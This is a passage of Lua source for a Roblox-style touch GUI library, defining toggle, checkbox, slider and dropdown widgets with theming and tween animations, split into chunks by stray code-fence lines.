    BorderSizePixel = 0;
    BackgroundColor3 = rgb(25, 25, 29)
});

library:create( "UICorner" , {
    Parent = items[ "outline" ];
    CornerRadius = dim(0, 7)
});

items[ "inline" ] = library:create( "Frame" , {
    Parent = items[ "outline" ];
    Name = "\0";
    Position = dim2(0, 1, 0, 1);
    BorderColor3 = rgb(0, 0, 0);
    Size = dim2(1, -2, 1, -2);
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(22, 22, 24)
});

library:create( "UICorner" , {
    Parent = items[ "inline" ];
    CornerRadius = dim(0, 7)
});

items[ "scrolling" ] = library:create( "ScrollingFrame" , {
    ScrollBarImageColor3 = rgb(44, 44, 46);
    Active = true;
    AutomaticCanvasSize = Enum.AutomaticSize.Y;
    ScrollBarThickness = 2;
    Parent = items[ "inline" ];
    Name = "\0";
    Size = dim2(1, 0, 1, -40);
    BackgroundTransparency = 1;
    Position = dim2(0, 0, 0, 35);
    BackgroundColor3 = rgb(255, 255, 255);
    BorderColor3 = rgb(0, 0, 0);
    BorderSizePixel = 0;
    CanvasSize = dim2(0, 0, 0, 0)
});

items[ "elements" ] = library:create( "Frame" , {
    BorderColor3 = rgb(0, 0, 0);
    Parent = items[ "scrolling" ];
    Name = "\0";
    BackgroundTransparency = 1;
    Position = dim2(0, 10, 0, 10);
    Size = dim2(1, -20, 0, 0);
    BorderSizePixel = 0;
    AutomaticSize = Enum.AutomaticSize.Y;
    BackgroundColor3 = rgb(255, 255, 255)
```

```
});

library:create( "UIListLayout" , {
    Parent = items[ "elements" ];
    Padding = dim(0, 10);
    SortOrder = Enum.SortOrder.LayoutOrder
});

library:create( "UIPadding" , {
    PaddingBottom = dim(0, 15);
    Parent = items[ "elements" ]
});

items[ "button" ] = library:create( "TextButton" , {
    FontFace = fonts.font;
    TextColor3 = rgb(255, 255, 255);
    BorderColor3 = rgb(0, 0, 0);
    Text = "";
    AutoButtonColor = false;
    Parent = items[ "outline" ];
    Name = "\0";
    Position = dim2(0, 1, 0, 1);
    Size = dim2(1, -2, 0, 35);
    BorderSizePixel = 0;
    TextSize = 16;
    BackgroundColor3 = rgb(19, 19, 21)
});

library:create( "UIStroke" , {
    Color = rgb(23, 23, 29);
    Parent = items[ "button" ];
    Enabled = false;
    ApplyStrokeMode = Enum.ApplyStrokeMode.Border
});

library:create( "UICorner" , {
    Parent = items[ "button" ];
    CornerRadius = dim(0, 7)
});

items[ "Icon" ] = library:create( "ImageLabel" , {
    ImageColor3 = themes.preset.accent;
    BorderColor3 = rgb(0, 0, 0);
    Parent = items[ "button" ];
    AnchorPoint = vec2(0, 0.5);
    Image = cfg.icon;
    BackgroundTransparency = 1;
    Position = dim2(0, 10, 0.5, 0);
    Name = "\0";
    Size = dim2(0, 22, 0, 22);
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(255, 255, 255)
}); library:apply_theme(items[ "Icon" ], "accent", "ImageColor3");
```

```
items[ "section_title" ] = library:create( "TextLabel" , {
    FontFace = fonts.font;
    TextColor3 = rgb(255, 255, 255);
    BorderColor3 = rgb(0, 0, 0);
    Text = cfg.name;
    Parent = items[ "button" ];
    Name = "\0";
    Size = dim2(0, 0, 1, 0);
    Position = dim2(0, 40, 0, -1);
    BackgroundTransparency = 1;
    TextXAlignment = Enum.TextXAlignment.Left;
    BorderSizePixel = 0;
    AutomaticSize = Enum.AutomaticSize.X;
    TextSize = 16;
    BackgroundColor3 = rgb(255, 255, 255)
});

library:create( "Frame" , {
    AnchorPoint = vec2(0, 1);
    Parent = items[ "button" ];
    Position = dim2(0, 0, 1, 0);
    BorderColor3 = rgb(0, 0, 0);
    Size = dim2(1, 0, 0, 1);
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(36, 36, 37)
});

if cfg.fading_toggle then
    items[ "toggle" ] = library:create( "TextButton" , {
        FontFace = fonts.small;
        TextColor3 = rgb(0, 0, 0);
        BorderColor3 = rgb(0, 0, 0);
        AutoButtonColor = false;
        Text = "";
        AnchorPoint = vec2(1, 0.5);
        Parent = items[ "button" ];
        Name = "\0";
        Position = dim2(1, -9, 0.5, 0);
        Size = dim2(0, 36, 0, 18);
        BorderSizePixel = 0;
        TextSize = 14;
        BackgroundColor3 = rgb(58, 58, 62)
    });  library:apply_theme(items[ "toggle" ], "accent", "BackgroundColor3");

    library:create( "UICorner" , {
        Parent = items[ "toggle" ];
        CornerRadius = dim(0, 999)
    });

    items[ "toggle_outline" ] = library:create( "Frame" , {
        Parent = items[ "toggle" ];
        Size = dim2(1, -2, 1, -2);
        Name = "\0";
        BorderMode = Enum.BorderMode.Inset;
```

```
            BorderColor3 = rgb(0, 0, 0);
            Position = dim2(0, 1, 0, 1);
            BorderSizePixel = 0;
            BackgroundColor3 = rgb(50, 50, 50)
        });  library:apply_theme(items[ "toggle_outline" ], "accent", "BackgroundColor3");

        library:create( "UICorner" , {
            Parent = items[ "toggle_outline" ];
            CornerRadius = dim(0, 999)
        });

        library:create( "UIGradient" , {
            Color = rgbseq{rgbkey(0, rgb(211, 211, 211)), rgbkey(1, rgb(211, 211, 211))};
            Parent = items[ "toggle_outline" ]
        });

        items[ "toggle_circle" ] = library:create( "Frame" , {
            Parent = items[ "toggle_outline" ];
            Name = "\0";
            Position = dim2(0, 2, 0, 2);
            BorderColor3 = rgb(0, 0, 0);
            Size = dim2(0, 12, 0, 12);
            BorderSizePixel = 0;
            BackgroundColor3 = rgb(86, 86, 88)
        });

        library:create( "UICorner" , {
            Parent = items[ "toggle_circle" ];
            CornerRadius = dim(0, 999)
        });

        library:create( "UICorner" , {
            Parent = items[ "outline" ];
            CornerRadius = dim(0, 7)
        });

        items[ "fade" ] = library:create( "Frame" , {
            Parent = items[ "outline" ];
            BackgroundTransparency = 0.800000011920929;
            Name = "\0";
            BorderColor3 = rgb(0, 0, 0);
            Size = dim2(1, 0, 1, 0);
            BorderSizePixel = 0;
            BackgroundColor3 = rgb(0, 0, 0)
        });

        library:create( "UICorner" , {
            Parent = items[ "fade" ];
            CornerRadius = dim(0, 7)
        });
    end
end;

if cfg.fading_toggle then
```

```
            items[ "button" ].InputBegan:Connect(function(input)
                if input.UserInputType == Enum.UserInputType.Touch or input.UserInputType ==
Enum.UserInputType.Touch then
                    cfg.default = not cfg.default
                    cfg.toggle_section(cfg.default)
                end
            end)

            function cfg.toggle_section(bool)
                library:tween(items[ "toggle" ], {BackgroundColor3 = bool and
themes.preset.accent or rgb(58, 58, 62)}, Enum.EasingStyle.Quad)
                library:tween(items[ "toggle_outline" ], {BackgroundColor3 = bool and
themes.preset.accent or rgb(50, 50, 50)}, Enum.EasingStyle.Quad)
                library:tween(items[ "toggle_circle" ], {BackgroundColor3 = bool and rgb(255, 255,
255) or rgb(86, 86, 88), Position = bool and dim2(1, -14, 0, 2) or dim2(0, 2, 0, 2)},
Enum.EasingStyle.Quad)
                library:tween(items[ "fade" ], {BackgroundTransparency = bool and 1 or 0.8},
Enum.EasingStyle.Quad)
            end
        end

        return setmetatable(cfg, library)
    end

    function library:toggle(options)
        local rand = math.random(1, 2)
        local cfg = {
            enabled = options.default or false,
            name = options.name or "Toggle",
            info = options.info or nil,
            flag = options.flag or library:next_flag(),

            type = options.type and string.lower(options.type) or rand == 1 and "toggle" or
"checkbox"; -- "toggle", "checkbox"

            default = options.default or false,
            folding = options.folding or false,
            callback = options.callback or function() end,

            items = {};
            seperator = options.seperator or options.Seperator or false;
        }

        flags[cfg.flag] = cfg.default

        local items = cfg.items; do
            items[ "toggle" ] = library:create( "TextButton" , {
                FontFace = fonts.small;
                TextColor3 = rgb(0, 0, 0);
                BorderColor3 = rgb(0, 0, 0);
                Text = "";
                Parent = self.items[ "elements" ];
                Name = "\0";
                BackgroundTransparency = 1;
```

```
    Size = dim2(1, 0, 0, 0);
    BorderSizePixel = 0;
    AutomaticSize = Enum.AutomaticSize.Y;
    TextSize = 14;
    BackgroundColor3 = rgb(255, 255, 255)
});

items[ "name" ] = library:create( "TextLabel" , {
    FontFace = fonts.small;
    TextColor3 = rgb(245, 245, 245);
    BorderColor3 = rgb(0, 0, 0);
    Text = cfg.name;
    Parent = items[ "toggle" ];
    Name = "\0";
    Size = dim2(1, 0, 0, 0);
    BackgroundTransparency = 1;
    TextXAlignment = Enum.TextXAlignment.Left;
    BorderSizePixel = 0;
    AutomaticSize = Enum.AutomaticSize.XY;
    TextSize = 16;
    BackgroundColor3 = rgb(255, 255, 255)
});

if cfg.info then
    items[ "info" ] = library:create( "TextLabel" , {
        FontFace = fonts.small;
        TextColor3 = rgb(130, 130, 130);
        BorderColor3 = rgb(0, 0, 0);
        TextWrapped = true;
        Text = cfg.info;
        Parent = items[ "toggle" ];
        Name = "\0";
        Position = dim2(0, 5, 0, 17);
        Size = dim2(1, -10, 0, 0);
        BackgroundTransparency = 1;
        TextXAlignment = Enum.TextXAlignment.Left;
        BorderSizePixel = 0;
        AutomaticSize = Enum.AutomaticSize.XY;
        TextSize = 16;
        BackgroundColor3 = rgb(255, 255, 255)
    });
end

library:create( "UIPadding" , {
    Parent = items[ "name" ];
    PaddingRight = dim(0, 5);
    PaddingLeft = dim(0, 5)
});

items[ "right_components" ] = library:create( "Frame" , {
    Parent = items[ "toggle" ];
    Name = "\0";
    Position = dim2(1, 0, 0, 0);
    BorderColor3 = rgb(0, 0, 0);
```

```
    Size = dim2(0, 0, 1, 0);
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(255, 255, 255)
});

library:create( "UIListLayout" , {
    FillDirection = Enum.FillDirection.Horizontal;
    HorizontalAlignment = Enum.HorizontalAlignment.Right;
    Parent = items[ "right_components" ];
    Padding = dim(0, 9);
    SortOrder = Enum.SortOrder.LayoutOrder
});

-- Toggle
    if cfg.type == "checkbox" then
        items[ "toggle_button" ] = library:create( "TextButton" , {
            FontFace = fonts.small;
            TextColor3 = rgb(0, 0, 0);
            BorderColor3 = rgb(0, 0, 0);
            Text = "";
            LayoutOrder = 2;
            AutoButtonColor = false;
            AnchorPoint = vec2(1, 0);
            Parent = items[ "right_components" ];
            Name = "\0";
            Position = dim2(1, 0, 0, 0);
            Size = dim2(0, 16, 0, 16);
            BorderSizePixel = 0;
            TextSize = 14;
            BackgroundColor3 = rgb(67, 67, 68)
        }); library:apply_theme(items[ "toggle_button" ], "accent", "BackgroundColor3");

        library:create( "UICorner" , {
            Parent = items[ "toggle_button" ];
            CornerRadius = dim(0, 4)
        });

        items[ "outline" ] = library:create( "Frame" , {
            Parent = items[ "toggle_button" ];
            Size = dim2(1, -2, 1, -2);
            Name = "\0";
            BorderMode = Enum.BorderMode.Inset;
            BorderColor3 = rgb(0, 0, 0);
            Position = dim2(0, 1, 0, 1);
            BorderSizePixel = 0;
            BackgroundColor3 = rgb(22, 22, 24)
        }); library:apply_theme(items[ "outline" ], "accent", "BackgroundColor3");

        items[ "tick" ] = library:create( "ImageLabel" , {
            ImageTransparency = 1;
            BorderColor3 = rgb(0, 0, 0);
            Image = "rbxassetid://111862698467575";
            BackgroundTransparency = 1;
            Position = dim2(0, -1, 0, 0);
```

```
        Parent = items[ "outline" ];
        Size = dim2(1, 2, 1, 2);
        BorderSizePixel = 0;
        BackgroundColor3 = rgb(255, 255, 255);
        ZIndex = 1;
    });

    library:create( "UICorner" , {
        Parent = items[ "outline" ];
        CornerRadius = dim(0, 4)
    });

    library:create( "UIGradient" , {
        Enabled = false;
        Parent = items[ "outline" ];
        Color = rgbseq{rgbkey(0, rgb(211, 211, 211)), rgbkey(1, rgb(211, 211, 211))}
    });
else
    items[ "toggle_button" ] = library:create( "TextButton" , {
        FontFace = fonts.font;
        TextColor3 = rgb(0, 0, 0);
        BorderColor3 = rgb(0, 0, 0);
        Text = "";
        LayoutOrder = 2;
        AnchorPoint = vec2(1, 0.5);
        Parent = items[ "right_components" ];
        Name = "\0";
        Position = dim2(1, -9, 0.5, 0);
        Size = dim2(0, 36, 0, 18);
        BorderSizePixel = 0;
        TextSize = 14;
        BackgroundColor3 = themes.preset.accent
    }); library:apply_theme(items[ "toggle_button" ], "accent", "BackgroundColor3");

    library:create( "UICorner" , {
        Parent = items[ "toggle_button" ];
        CornerRadius = dim(0, 999)
    });

    items[ "inline" ] = library:create( "Frame" , {
        Parent = items[ "toggle_button" ];
        Size = dim2(1, -2, 1, -2);
        Name = "\0";
        BorderMode = Enum.BorderMode.Inset;
        BorderColor3 = rgb(0, 0, 0);
        Position = dim2(0, 1, 0, 1);
        BorderSizePixel = 0;
        BackgroundColor3 = themes.preset.accent
    }); library:apply_theme(items[ "inline" ], "accent", "BackgroundColor3");

    library:create( "UICorner" , {
        Parent = items[ "inline" ];
        CornerRadius = dim(0, 999)
    });
```

```
                library:create( "UIGradient" , {
                    Color = rgbseq{rgbkey(0, rgb(211, 211, 211)), rgbkey(1, rgb(211, 211, 211))};
                    Parent = items[ "inline" ]
                });

                items[ "circle" ] = library:create( "Frame" , {
                    Parent = items[ "inline" ];
                    Name = "\0";
                    Position = dim2(1, -14, 0, 2);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(0, 12, 0, 12);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(255, 255, 255)
                });

                library:create( "UICorner" , {
                    Parent = items[ "circle" ];
                    CornerRadius = dim(0, 999)
                });
            end
        --
    end;

    function cfg.set(bool)
        if cfg.type == "checkbox" then
            library:tween(items[ "tick" ], {Rotation = bool and 0 or 45, ImageTransparency =
bool and 0 or 1})
            library:tween(items[ "toggle_button" ], {BackgroundColor3 = bool and
themes.preset.accent or rgb(67, 67, 68)})
            library:tween(items[ "outline" ], {BackgroundColor3 = bool and
themes.preset.accent or rgb(22, 22, 24)})
        else
            library:tween(items[ "toggle_button" ], {BackgroundColor3 = bool and
themes.preset.accent or rgb(58, 58, 62)}, Enum.EasingStyle.Quad)
            library:tween(items[ "inline" ], {BackgroundColor3 = bool and
themes.preset.accent or rgb(50, 50, 50)}, Enum.EasingStyle.Quad)
            library:tween(items[ "circle" ], {BackgroundColor3 = bool and rgb(255, 255, 255) or
rgb(86, 86, 88), Position = bool and dim2(1, -14, 0, 2) or dim2(0, 2, 0, 2)},
Enum.EasingStyle.Quad)
        end

        cfg.enabled = bool
        cfg.callback(bool)

        if cfg.folding then
            elements.Visible = bool
        end

        flags[cfg.flag] = bool
    end

    items[ "toggle" ].InputBegan:Connect(function(Input)
        if Input.UserInputType ~= Enum.UserInputType.Touch then return end
```

```
            cfg.enabled = not cfg.enabled
            cfg.set(cfg.enabled)
        end)

        items[ "toggle_button" ].InputBegan:Connect(function(Input)
            if Input.UserInputType ~= Enum.UserInputType.Touch then return end
            cfg.enabled = not cfg.enabled
            cfg.set(cfg.enabled)
        end)

        if cfg.seperator then -- ok bro my lua either sucks or this was a pain in the ass to make
(simple if statement aswell 💔)
            library:create( "Frame" , {
                AnchorPoint = vec2(0, 1);
                Parent = self.items[ "elements" ];
                Position = dim2(0, 0, 1, 0);
                BorderColor3 = rgb(0, 0, 0);
                Size = dim2(1, 1, 0, 1);
                BorderSizePixel = 0;
                BackgroundColor3 = rgb(36, 36, 37)
            });
        end

        cfg.set(cfg.default)

        config_flags[cfg.flag] = cfg.set

        return setmetatable(cfg, library)
    end

    function library:slider(options)
        local cfg = {
            name = options.name or nil,
            suffix = options.suffix or "",
            flag = options.flag or library:next_flag(),
            callback = options.callback or function() end,
            info = options.info or nil;

            -- value settings
            min = options.min or options.minimum or 0,
            max = options.max or options.maximum or 100,
            intervals = options.interval or options.decimal or 1,
            default = options.default or 10,
            value = options.default or 10,
            seperator = options.seperator or options.Seperator or false;

            dragging = false,
            items = {}
        }

        flags[cfg.flag] = cfg.default

        local items = cfg.items; do
```

```
items[ "slider_object" ] = library:create( "TextButton" , {
    FontFace = fonts.small;
    TextColor3 = rgb(0, 0, 0);
    BorderColor3 = rgb(0, 0, 0);
    Text = "";
    Parent = self.items[ "elements" ];
    Name = "\0";
    BackgroundTransparency = 1;
    Size = dim2(1, 0, 0, 0);
    BorderSizePixel = 0;
    AutomaticSize = Enum.AutomaticSize.Y;
    TextSize = 14;
    BackgroundColor3 = rgb(255, 255, 255)
});

items[ "name" ] = library:create( "TextLabel" , {
    FontFace = fonts.small;
    TextColor3 = rgb(245, 245, 245);
    BorderColor3 = rgb(0, 0, 0);
    Text = cfg.name;
    Parent = items[ "slider_object" ];
    Name = "\0";
    Size = dim2(1, 0, 0, 0);
    BackgroundTransparency = 1;
    TextXAlignment = Enum.TextXAlignment.Left;
    BorderSizePixel = 0;
    AutomaticSize = Enum.AutomaticSize.XY;
    TextSize = 16;
    BackgroundColor3 = rgb(255, 255, 255)
});

if cfg.info then
    items[ "info" ] = library:create( "TextLabel" , {
        FontFace = fonts.small;
        TextColor3 = rgb(130, 130, 130);
        BorderColor3 = rgb(0, 0, 0);
        TextWrapped = true;
        Text = cfg.info;
        Parent = items[ "slider_object" ];
        Name = "\0";
        Position = dim2(0, 5, 0, 37);
        Size = dim2(1, -10, 0, 0);
        BackgroundTransparency = 1;
        TextXAlignment = Enum.TextXAlignment.Left;
        BorderSizePixel = 0;
        AutomaticSize = Enum.AutomaticSize.XY;
        TextSize = 16;
        BackgroundColor3 = rgb(255, 255, 255)
    });
end

library:create( "UIPadding" , {
    Parent = items[ "name" ];
    PaddingRight = dim(0, 5);
```

```
    PaddingLeft = dim(0, 5)
});

items[ "right_components" ] = library:create( "Frame" , {
    Parent = items[ "slider_object" ];
    Name = "\0";
    BackgroundTransparency = 1;
    Position = dim2(0, 4, 0, 23);
    BorderColor3 = rgb(0, 0, 0);
    Size = dim2(1, 0, 0, 12);
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(255, 255, 255)
});

library:create( "UIListLayout" , {
    Parent = items[ "right_components" ];
    Padding = dim(0, 7);
    SortOrder = Enum.SortOrder.LayoutOrder;
    FillDirection = Enum.FillDirection.Horizontal
});

items[ "slider" ] = library:create( "TextButton" , {
    FontFace = fonts.small;
    TextColor3 = rgb(0, 0, 0);
    BorderColor3 = rgb(0, 0, 0);
    Text = "";
    AutoButtonColor = false;
    AnchorPoint = vec2(1, 0);
    Parent = items[ "right_components" ];
    Name = "\0";
    Position = dim2(1, 0, 0, 0);
    Size = dim2(1, -4, 0, 4);
    BorderSizePixel = 0;
    TextSize = 14;
    BackgroundColor3 = rgb(33, 33, 35)
});

library:create( "UICorner" , {
    Parent = items[ "slider" ];
    CornerRadius = dim(0, 999)
});

items[ "fill" ] = library:create( "Frame" , {
    Name = "\0";
    Parent = items[ "slider" ];
    BorderColor3 = rgb(0, 0, 0);
    Size = dim2(0.5, 0, 0, 4);
    BorderSizePixel = 0;
    BackgroundColor3 = themes.preset.accent
});  library:apply_theme(items[ "fill" ], "accent", "BackgroundColor3");

library:create( "UICorner" , {
    Parent = items[ "fill" ];
    CornerRadius = dim(0, 999)
```

```
    });

    items[ "circle" ] = library:create( "Frame" , {
        AnchorPoint = vec2(0.5, 0.5);
        Parent = items[ "fill" ];
        Name = "\0";
        Position = dim2(1, 0, 0.5, 0);
        BorderColor3 = rgb(0, 0, 0);
        Size = dim2(0, 12, 0, 12);
        BorderSizePixel = 0;
        BackgroundColor3 = rgb(244, 244, 244)
    });

    library:create( "UICorner" , {
        Parent = items[ "circle" ];
        CornerRadius = dim(0, 999)
    });

    library:create( "UIPadding" , {
        Parent = items[ "right_components" ];
        PaddingTop = dim(0, 4)
    });

    items[ "value" ] = library:create( "TextLabel" , {
        FontFace = fonts.small;
        TextColor3 = rgb(72, 72, 73);
        BorderColor3 = rgb(0, 0, 0);
        Text = "50%";
        Parent = items[ "slider_object" ];
        Name = "\0";
        Size = dim2(1, 0, 0, 0);
        Position = dim2(0, 6, 0, 0);
        BackgroundTransparency = 1;
        TextXAlignment = Enum.TextXAlignment.Right;
        BorderSizePixel = 0;
        AutomaticSize = Enum.AutomaticSize.XY;
        TextSize = 16;
        BackgroundColor3 = rgb(255, 255, 255)
    });

    library:create( "UIPadding" , {
        Parent = items[ "value" ];
        PaddingRight = dim(0, 5);
        PaddingLeft = dim(0, 5)
    });
end

function cfg.changetext(text)
    items['name'].Text = text
end

function cfg.set(value)
    cfg.value = clamp(library:round(value, cfg.intervals), cfg.min, cfg.max)
```

```
            library:tween(items[ "fill" ], {Size = dim2((cfg.value - cfg.min) / (cfg.max - cfg.min),
cfg.value == cfg.min and 0 or -4, 0, 2)}, Enum.EasingStyle.Linear, 0.05)
            items[ "value" ].Text = tostring(cfg.value) .. cfg.suffix

            flags[cfg.flag] = cfg.value
            cfg.callback(flags[cfg.flag])
        end

        items[ "slider" ].InputBegan:Connect(function(Input)
                    if Input.UserInputType ~= Enum.UserInputType.Touch then return end
            cfg.dragging = true
            library:tween(items[ "value" ], {TextColor3 = rgb(255, 255, 255)},
Enum.EasingStyle.Quad, 0.2)
        end)

        library:connection(uis.InputChanged, function(input)
            if cfg.dragging and input.UserInputType == Enum.UserInputType.Touch then
                local size_x = (input.Position.X - items[ "slider" ].AbsolutePosition.X) /
items[ "slider" ].AbsoluteSize.X
                local value = ((cfg.max - cfg.min) * size_x) + cfg.min
                cfg.set(value)
            end
        end)

        library:connection(uis.InputEnded, function(input)
            if input.UserInputType == Enum.UserInputType.Touch then
                cfg.dragging = false
                library:tween(items[ "value" ], {TextColor3 = rgb(72, 72, 73)},
Enum.EasingStyle.Quad, 0.2)
            end
        end)

        if cfg.seperator then
            library:create( "Frame" , {
                AnchorPoint = vec2(0, 1);
                Parent = self.items[ "elements" ];
                Position = dim2(0, 0, 1, 0);
                BorderColor3 = rgb(0, 0, 0);
                Size = dim2(1, 1, 0, 1);
                BorderSizePixel = 0;
                BackgroundColor3 = rgb(36, 36, 37)
            });
        end

        cfg.set(cfg.default)
        config_flags[cfg.flag] = cfg.set

        return setmetatable(cfg, library)
    end

    function library:dropdown(options)
        local cfg = {
            name = options.name or nil;
            info = options.info or nil;
```

```
    flag = options.flag or library:next_flag();
    options = options.items or {""};
    callback = options.callback or function() end;
    multi = options.multi or false;
    scrolling = options.scrolling or false;

    width = options.width or 130;

    -- Ignore these
    open = false;
    option_instances = {};
    multi_items = {};
    ignore = options.ignore or false;
    items = {};
    y_size;
    seperator = options.seperator or options.Seperator or true;
}

cfg.default = options.default or (cfg.multi and {cfg.items[1]}) or cfg.items[1] or "None"
flags[cfg.flag] = cfg.default

local items = cfg.items; do
    -- Element
        items[ "dropdown_object" ] = library:create( "TextButton" , {
            FontFace = fonts.small;
            TextColor3 = rgb(0, 0, 0);
            BorderColor3 = rgb(0, 0, 0);
            Text = "";
            Parent = self.items[ "elements" ];
            Name = "\0";
            BackgroundTransparency = 1;
            Size = dim2(1, 0, 0, 0);
            BorderSizePixel = 0;
            AutomaticSize = Enum.AutomaticSize.Y;
            TextSize = 14;
            BackgroundColor3 = rgb(255, 255, 255)
        });

        items[ "name" ] = library:create( "TextLabel" , {
            FontFace = fonts.small;
            TextColor3 = rgb(245, 245, 245);
            BorderColor3 = rgb(0, 0, 0);
            Text = "Dropdown";
            Parent = items[ "dropdown_object" ];
            Name = "\0";
            Size = dim2(1, 0, 0, 0);
            BackgroundTransparency = 1;
            TextXAlignment = Enum.TextXAlignment.Left;
            BorderSizePixel = 0;
            AutomaticSize = Enum.AutomaticSize.XY;
            TextSize = 16;
            BackgroundColor3 = rgb(255, 255, 255)
        });
```

```
if cfg.info then
    items[ "info" ] = library:create( "TextLabel" , {
        FontFace = fonts.small;
        TextColor3 = rgb(130, 130, 130);
        BorderColor3 = rgb(0, 0, 0);
        TextWrapped = true;
        Text = cfg.info;
        Parent = items[ "dropdown_object" ];
        Name = "\0";
        Position = dim2(0, 5, 0, 17);
        Size = dim2(1, -10, 0, 0);
        BackgroundTransparency = 1;
        TextXAlignment = Enum.TextXAlignment.Left;
        BorderSizePixel = 0;
        AutomaticSize = Enum.AutomaticSize.XY;
        TextSize = 16;
        BackgroundColor3 = rgb(255, 255, 255)
    });
end

library:create( "UIPadding" , {
    Parent = items[ "name" ];
    PaddingRight = dim(0, 5);
    PaddingLeft = dim(0, 5)
});

items[ "right_components" ] = library:create( "Frame" , {
    Parent = items[ "dropdown_object" ];
    Name = "\0";
    Position = dim2(1, 0, 0, 0);
    BorderColor3 = rgb(0, 0, 0);
    Size = dim2(0, 0, 1, 0);
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(255, 255, 255)
});

library:create( "UIListLayout" , {
    FillDirection = Enum.FillDirection.Horizontal;
    HorizontalAlignment = Enum.HorizontalAlignment.Right;
    Parent = items[ "right_components" ];
    Padding = dim(0, 7);
    SortOrder = Enum.SortOrder.LayoutOrder
});

items[ "dropdown" ] = library:create( "TextButton" , {
    FontFace = fonts.small;
    TextColor3 = rgb(0, 0, 0);
    BorderColor3 = rgb(0, 0, 0);
    Text = "";
    AutoButtonColor = false;
    AnchorPoint = vec2(1, 0);
    Parent = items[ "right_components" ];
    Name = "\0";
    Position = dim2(1, 0, 0, 0);
```

```
        Size = dim2(0, cfg.width, 0, 16);
        BorderSizePixel = 0;
        TextSize = 14;
        BackgroundColor3 = rgb(33, 33, 35)
    });

    library:create( "UICorner" , {
        Parent = items[ "dropdown" ];
        CornerRadius = dim(0, 4)
    });

    items[ "sub_text" ] = library:create( "TextLabel" , {
        FontFace = fonts.small;
        TextColor3 = rgb(86, 86, 87);
        BorderColor3 = rgb(0, 0, 0);
        Text = "awdawdawdawdawdawdawdaw";
        Parent = items[ "dropdown" ];
        Name = "\0";
        Size = dim2(1, -12, 0, 0);
        BorderSizePixel = 0;
        BackgroundTransparency = 1;
        TextXAlignment = Enum.TextXAlignment.Left;
        TextTruncate = Enum.TextTruncate.AtEnd;
        AutomaticSize = Enum.AutomaticSize.Y;
        TextSize = 14;
        BackgroundColor3 = rgb(255, 255, 255)
    });

    library:create( "UIPadding" , {
        Parent = items[ "sub_text" ];
        PaddingTop = dim(0, 1);
        PaddingRight = dim(0, 5);
        PaddingLeft = dim(0, 5)
    });

    items[ "indicator" ] = library:create( "ImageLabel" , {
        ImageColor3 = rgb(86, 86, 87);
        BorderColor3 = rgb(0, 0, 0);
        Parent = items[ "dropdown" ];
        AnchorPoint = vec2(1, 0.5);
        Image = "rbxassetid://101025591575185";
        BackgroundTransparency = 1;
        Position = dim2(1, -5, 0.5, 0);
        Name = "\0";
        Size = dim2(0, 12, 0, 12);
        BorderSizePixel = 0;
        BackgroundColor3 = rgb(255, 255, 255)
    });
--

-- Element Holder
    items[ "dropdown_holder" ] = library:create( "Frame" , {
        BorderColor3 = rgb(0, 0, 0);
        Parent = library[ "items" ];
```

```
            Name = "\0";
            Visible = true;
            BackgroundTransparency = 1;
            Size = dim2(0, 0, 0, 0);
            BorderSizePixel = 0;
            BackgroundColor3 = rgb(0, 0, 0);
            ZIndex = 10;
        });

        items[ "outline" ] = library:create( "Frame" , {
            Parent = items[ "dropdown_holder" ];
            Size = dim2(1, 0, 1, 0);
            ClipsDescendants = true;
            BorderColor3 = rgb(0, 0, 0);
            BorderSizePixel = 0;
            BackgroundColor3 = rgb(33, 33, 35);
            ZIndex = 10;
        });

        library:create( "UIPadding" , {
            PaddingBottom = dim(0, 6);
            PaddingTop = dim(0, 3);
            PaddingLeft = dim(0, 3);
            Parent = items[ "outline" ]
        });

        library:create( "UIListLayout" , {
            Parent = items[ "outline" ];
            Padding = dim(0, 5);
            SortOrder = Enum.SortOrder.LayoutOrder
        });

        library:create( "UICorner" , {
            Parent = items[ "outline" ];
            CornerRadius = dim(0, 4)
        });
    --
end

function cfg.render_option(text)
    local button = library:create( "TextButton" , {
        FontFace = fonts.small;
        TextColor3 = rgb(72, 72, 73);
        BorderColor3 = rgb(0, 0, 0);
        Text = text;
        Parent = items[ "outline" ];
        Name = "\0";
        Size = dim2(1, -12, 0, 0);
        BackgroundTransparency = 1;
        TextXAlignment = Enum.TextXAlignment.Left;
        BorderSizePixel = 0;
        AutomaticSize = Enum.AutomaticSize.Y;
        TextSize = 14;
        BackgroundColor3 = rgb(255, 255, 255);
```

```
            ZIndex = 10;
        }); library:apply_theme(button, "accent", "TextColor3");

        library:create( "UIPadding" , {
            Parent = button;
            PaddingTop = dim(0, 1);
            PaddingRight = dim(0, 5);
            PaddingLeft = dim(0, 5)
        });

        return button
    end

    function cfg.set_visible(bool)
        local a = bool and cfg.y_size or 0
        library:tween(items[ "dropdown_holder" ], {Size =
dim_offset(items[ "dropdown" ].AbsoluteSize.X, a)})

        items[ "dropdown_holder" ].Position = dim2(0,
items[ "dropdown" ].AbsolutePosition.X, 0, items[ "dropdown" ].AbsolutePosition.Y + 80)
        if not (self.sanity and library.current_open == self) then
            library:close_element(cfg)
        end
    end

    function cfg.set(value)
        local selected = {}
        local isTable = type(value) == "table"

        for _, option in cfg.option_instances do
            if option.Text == value or (isTable and find(value, option.Text)) then
                insert(selected, option.Text)
                cfg.multi_items = selected
                option.TextColor3 = themes.preset.accent
            else
                option.TextColor3 = rgb(72, 72, 73)
            end
        end

        items[ "sub_text" ].Text = isTable and concat(selected, ", ") or selected[1] or ""
        flags[cfg.flag] = isTable and selected or selected[1]

        cfg.callback(flags[cfg.flag])
    end

    function cfg.refresh_options(list)
        cfg.y_size = 0

        for _, option in cfg.option_instances do
            option:Destroy()
        end

        cfg.option_instances = {}
```

```
            for _, option in list do
                local button = cfg.render_option(option)
                cfg.y_size += button.AbsoluteSize.Y + 6 -- super annoying manual sizing but oh
well
                insert(cfg.option_instances, button)

                button.InputBegan:Connect(function(Input)
                        if Input.UserInputType ~= Enum.UserInputType.Touch then return end
                    if cfg.multi then
                        local selected_index = find(cfg.multi_items, button.Text)

                        if selected_index then
                            remove(cfg.multi_items, selected_index)
                        else
                            insert(cfg.multi_items, button.Text)
                        end

                        cfg.set(cfg.multi_items)
                    else
                        cfg.set_visible(false)
                        cfg.open = false

